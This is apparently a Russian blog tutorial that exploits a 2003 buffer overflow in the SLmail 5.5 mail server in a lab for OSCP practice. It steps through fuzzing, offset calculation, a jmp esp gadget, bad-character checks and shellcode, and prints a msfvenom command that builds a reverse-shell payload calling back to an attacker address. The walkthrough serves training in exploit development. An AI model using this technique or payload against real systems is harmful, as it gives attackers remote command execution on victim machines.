Ломаем SLmail

Ломаем SLmail

@delstaant

Выбирая цель для отработки навыков бинарной эксплуатации я услышал, что есть такой почтовый сервер, эксплуатация которого рассматривается на курсе PWK в рамках подготовки к OSCP. Я заинтересовался и решил попробовать самостоятельно проэксплуатировать это приложение, теперь я предлагаю вам сделать это вместе со мной.

https://www.exploit-db.com/exploits/638

Речь идет об SLmail версии 5.5, CVE 2003-0264, так что сразу говорю - зиродеев тут нет (С).

Идея в том, чтобы попытаться пройти по стопам людей которые занимались рисерчем 17 лет назад, и пошагово рассмотреть каждый этап эксплуатации, от фаззинга до получения реверс шелла.

Итак, чтобы повторить все это на своем компе нам понадобятся:

-VMware workstation.

-Виртуальная машина с windows 7 sp1 32bit. В теории вам подойдет любая винда начиная от xp sp1 32bit, но я рекомендую windows 7 sp1 32bit, на ней и буду показывать.

-Виртуальная машина, с которой мы будем атаковать. В теории, опять же, можете все это делать хоть на убунту, хоть на ninjutsu OS, но я буду пользоваться кали линуксом версии 2020.1. Там уже есть почти все необходимое.

Также, на виртуальную машину с windows 7, которую мы будем атаковать, нам нужно скачать и установить некоторый набор софта:

-Собственно, SLmail версии 5.5 вот отсюда https://www.exploit-db.com/exploits/638

-Immunity debugger https://www.immunityinc.com/products/debugger/

-Плагин Mona для Immunity debugger'а https://github.com/corelan/mona

Скачали? Установили? Врубаем музыку и поехали!

Для начала, давайте разберемся, что именно мы собираемся атаковать. Итак, есть программа, почтовый сервер, SLmail. Одной из функций является удаленный доступ для администрирования. Он реализован через сервис, который запускается и начинает работать на 110 порту вместе со всеми остальными компонентами SLmail. Давайте разберемся с ним чуть поподробнее.

Нам нужно отключить фаерволл (иначе кали не сможет даже увидеть винду с ее сервисами и залогиниться удаленно будет невозможно в принципе), на всякий случай отключить ASLR (не уверен, создаст ли он проблемы, но я на всякий случай убрал), и запустить SLmail. После этого сканируем 110 порт nmapом

Видим что 110 порт открыт и готов к работе. Пробуем подключиться к нему используя netcat

Тут нам предлагают ввести USER и PASS, чтобы авторизироваться

Уязвимость кроется в том, как сервер обрабатывает команду PASS (достаточно символично, если вы спросите меня). Дело в том, что программисты допустили ошибку, когда писали обработчик этой команды, и в результате мы имеем переполнение буфера. Сейчас мы с вами будем его там искать и эксплуатировать.

Для начала, накидаем простенький скрипт, который будет коннектиться к серверу на 110 порт и отправлять какие-то строки, чтобы не вводить это каждый раз вручную через терминал (тем более, что мы собираемся вводить тысячи символов, делать это руками тупо неудобно). Я использую python2 и pwntools, что и вам рекомендую. Единственное что, можете взять третий питон вместо второго. А то ходят слухи, что второй питон скоро умрет. Правда, он все не умирает да не умирает... В любом случае, у вас выйдет что-то вроде этого:

Теперь попытаемся запустить этот скрипт и вызвать краш. Если тут есть переполнение буфера, то после того как мы введем определенное количество символов вместо пароля (иногда это 1000 символов, иногда 100 000), то программа должна выдать ошибку и аварийно завершить выполнение. Забавно, что в нашем случае, она упадет только если приаттачить отладчик (мне понадобилось довольно много времени, чтобы выяснить это). Вам же я предлагаю сразу приаттачить отладчик к SLmail и запустить скрипт.

Запускаем Immunity Debugger , жмем на вкладку File, там attach. В выпавшем меню выбираем SLmail

Нажимаем на кнопку "run" (иконка как "плей" на плеере), чтобы программа разморозилась и продолжила работу. Теперь мы возвращаемся в виртуалку кали и запускаем наш скрипт

Бинго! Вот так вот мы "профаззили" команду PASS в одном из сервисов SLmail и убедились, что там есть переполнение буфера на стеке. Если мы проверим SLmail.exe скриптом Get-PESecurity, то увидим, что там нет абсолютно никакой защиты - ни NX, ни ASLR ни stack canary не используются, так что мы имеем идеальную цель для практики. Кстати, в рамках экзамена OSCP перечисленные защиты также не используются, там люди тоже имеют дело с таким вот ванильным переполнением буфера на стеке. Так вот, в этой ситуации мы будем строить наш пейлоад следующим образом:

1) Сначала у нас будет идти определенное количество мусорных байт (букв "А" например), чтобы забить буфер

2) После этого, мы кладем адрес гаджета jmp esp

3) Дальше оставляем небольшой nop sled и кладем наш шеллкод.

Теперь нам нужно посчитать оффсет - выяснить, сколько именно байт мы должны послать, чтобы вызвать переполнение. Есть множество разных способов это сделать, в этой ситуации я воспользуюсь утилитами pattern_create и pattern_offset из метасплоит фреймворка, так как они удобные, отлично работают, установлены по умолчанию в кали и разрешены на экзамене OSCP.

Для того, чтобы они посчитали нам оффсет, генерируем паттерн с помощью pattern_create

Теперь вставляем его вместо мусорных байт в наш скрипт. Пайтон подглючивает, когда ты в одну строчку пытаешься объявить слишком длинную строку, поэтому разбиваем паттерн на несколько кусочков.

Дважды перезапускаем SLmail (если перезапустить один раз - будет подглючивать), снова аттачим дебаггер и снова запускаем наш скрипт. Видим следующую картину:

Нас интересует окошко с регистрами в дебаггере. Конкретно - регистр EIP. Копируем значение оттуда и скармливаем утилите pattern_offset

Вуаля, оффсет посчитан! Теперь, убедимся что мы контролируем регистр EIP. Давайте попробуем передать туда 4 буквы "B". Для этого чуть-чуть модифицируем наш скрипт

Теперь перезапускаем SLmail, снова цепляем отладчик и запускаем наш новый скрипт. Смотрим в отладчик

Видим в регистре EIP значение 42424242. Мы успешно получили контроль над регистром EIP, первая часть пройдена. Теперь нам нужно выяснить, что же мы туда положим. Нам нужно найти в памяти программы адрес инструкции jmp esp, чтобы мы могли заставить EIP указывать на стек, и таким образом выполнить шеллкод оттуда. Искать адрес jmp esp вручную можно, но бессмысленно, если за нас это может сделать mona! Для начала посмотрим, в каких модулях mona может поискать для нас гаджеты. Делается это командой !mona modules

Нас интересуют модули, в которых нету ни Rebase, ни SafeSEH, ни ASLR, ни NXCompat. У меня тут целых три таких. Теперь начинаем искать уже конкретно по этим модулям по очереди командой !mona find -s '\xff\xe4' -m SLMFC.DLL

Попробуем взять какой-то из этих адресов и прыгнуть на него. На случай, если все пройдет успешно, установим в месте приземления небольшой nop sled и halt инструкции (коды операций 0x90 и 0xcc соответственно). Теперь наш скрипт выглядит вот так:

Не забываем развернуть адрес который мы кладем в EIP, так как мы имеем дело с little-endian системой. Попробуем снова перезапустить все и запустить наш новый скрипт

Мы видим, что наш шеллкод успешно отработал и остановился на наших halt. Мы уже получили примитив эксплоита - процессор на атакуемой машине уже выполняет те инструкции, которые мы ему даем. Теперь нам нужно получить что-то более интересное, чем выполнение инструкции "\xcc". Нам понадобится боевой шеллкод. Конечно, вы можете найти его где-то в интернете, или написать самостоятельно, но я воспользуюсь утилитой msfvenom. Вот команда, вам остается подставить туда свой айпи адрес

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.104 LPORT=1234 -a x86 -f py -b '\x00'

берем этот шеллкод и вставляем в свой скрипт вместо инструкций "\xcc". Также, открываем еще один терминал, и в нем запускаем неткат, слушающий все входящие подключения на 1234 порт, чтобы мы могли словить реверс шелл

Снова все перезапускаем и стартуем скрипт

Шелл так и не прилетел, а программа крашнулась с ошибкой access violation. Я потратил довольно много времени, пытаясь понять, в чем может быть ошибка. В конечном счете, мне посоветовали проверить шеллкод на бедчары и это сработало. Этим и займемся.

Для того, чтобы проверить, какие символы будут плохими в нашем шеллкоде, нам нужно просто запихнуть все существующие байты от 0x00 до 0xff в стек и посмотреть, как он отреагирует. Чтобы не набирать этот список вручную - он легко гуглится по словам bad char list exploit. Нам нужно вставить этот список в наш скрипт. Получится что-то вроде этого (символ 0х00 я сразу отбросил):

Снова все перезапускаем и пробуем наш скрипт

Теперь нас интересует правое нижнее окно в дебаггере, которое показывает нам стек. Смотрим, какие символы у нас хорошо легли на стек, а какие не очень. Видим что с 0x01 по 0x09 все нормально, а дальше какая-то билиберда. Значит 0x0a - бедчар. Записываем это себе куда-то, убираем 0x0a из нашего буфера в скрипте, и снова все перезапускаем, ничего не меняя кроме того, что мы убрали 0x0a. Снова смотрим на стек

В этот раз картина уже получше, почти все скопировалось в стек. Непонятно только, куда делся байт 0x0d, так что и его тоже запишем в бедчары. Все остальные символы, вроде, на месте

Теперь, когда мы знаем, что бедчар не только 0х00, а еще и 0х0а и 0x0d, мы можем заново сгенерить наш шеллкод в msfvenom и вставить его в наш скрипт

Запускаем скрипт с новым шеллкодом

В отладчике мы видим, что хоть мы и переполнили буфер - приложение не упало! Давайте посмотрим на вкладку с неткатом

Вуаля, к нам прилетел реверс шелл! Старания, потраченные на написание эксплоита не пропали даром :)

Теперь попробуем повторить без отладчика.

Результат тот же - мы получаем реверс шелл, причем с теми же правами, с которыми был запущен SLmail. Теперь можно попробовать порыться в компьютере и что-то сделать. Например, прочитать флаг с рабочего стола

Вот, собственно, и все! Эксплоит написан, реверс шелл получен, а пост эксплуатация уже выходит за рамки этой статьи и рассматриваться не будет. Надеюсь что вы получили удовольствие и узнали для себя что-то полезное из этой статьи, а я откланиваюсь. До скорых встреч!

Report Page